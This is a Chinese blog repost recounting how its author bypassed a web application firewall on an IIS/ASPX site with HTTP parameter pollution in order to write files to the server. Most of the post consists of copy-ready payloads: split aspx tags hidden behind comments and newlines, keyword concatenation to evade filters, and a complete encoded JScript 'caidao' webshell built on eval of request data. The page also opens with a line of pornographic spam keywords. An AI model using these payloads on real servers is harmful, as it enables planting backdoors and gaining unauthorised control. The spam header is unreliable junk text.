日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

记一次iis+aspx环境下利用http参数污染绕过waf

發布時間:2024/1/23 编程问答 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 记一次iis+aspx环境下利用http参数污染绕过waf 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

環境介紹

Server: Microsoft-IIS/10.0

X-AspNet-Version: 4.0.

waf: 某不知名waf

漏洞點情況

新建模板處,可以直接寫入內容到文件:

但是一寫入正常的aspx語句就被攔截,連簡單的輸出語句都不行:

bypass過程

一開始也試過諸多繞過方法,包括各種常見編碼、chunked編碼等等,都不太行。

然后嘗試了一下,看有沒有http參數污染(兩個code參數):

訪問下生成的aspx文件:

可以看到確實是可以的,但是中間有個逗號,我們該怎么利用來寫入aspx文件呢?

比如一個最簡單的輸出hello world:

<%@Page Language="C+"%> <% Response.Write("hello, world"); %>

之前我們通過測試只到<% Response.Write("hello, world"); %>這個會被waf攔截,刪掉<%之后呢?

可以看到成功上傳,那么思路來了,將<%%>拆分就行,但是怎么讓服務器忽略掉那個逗號呢?

自然是使用注釋。

aspx是支持"//"的注釋方式,然后我們需要使用換行,把我們的內容換到下一行避免被注釋,于是:

然后我們試著拆分前面被攔截的那個輸出hello world的語句:

code=<%@Page Language="C+"%><% //&code=%0aResponse.Write("hello,world"); %>

成功生成:

Getshell

經過了好一番嘗試,發現waf還過濾了Request等關鍵詞,eval()可以上傳,但是括號里面有內容比如eval(xxx)就不行。

參考了這篇文章里的注釋符號:

https://www.cnblogs.com/xiaozi/p/7566795.html

將eval(a)拆分為

eval/*-/*-*/(a/*,*/)

Request就直接用加號進行連接,比如:"Req"+"Uest"

最終結合hpp來利用,上傳菜刀一句話的payload為:

code=<%@ Page Language=Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>

這個生成的文件內容應該是:

<%@ Page Language = Jscript %><%//,

var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");";eval/-/-/(a/,*/);%>

成功拿到一個菜刀shell,當然,菜刀因為waf的原因不能用:

eval都行了,還怕拿不到shell?

?

總結

以上是生活随笔為你收集整理的记一次iis+aspx环境下利用http参数污染绕过waf的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。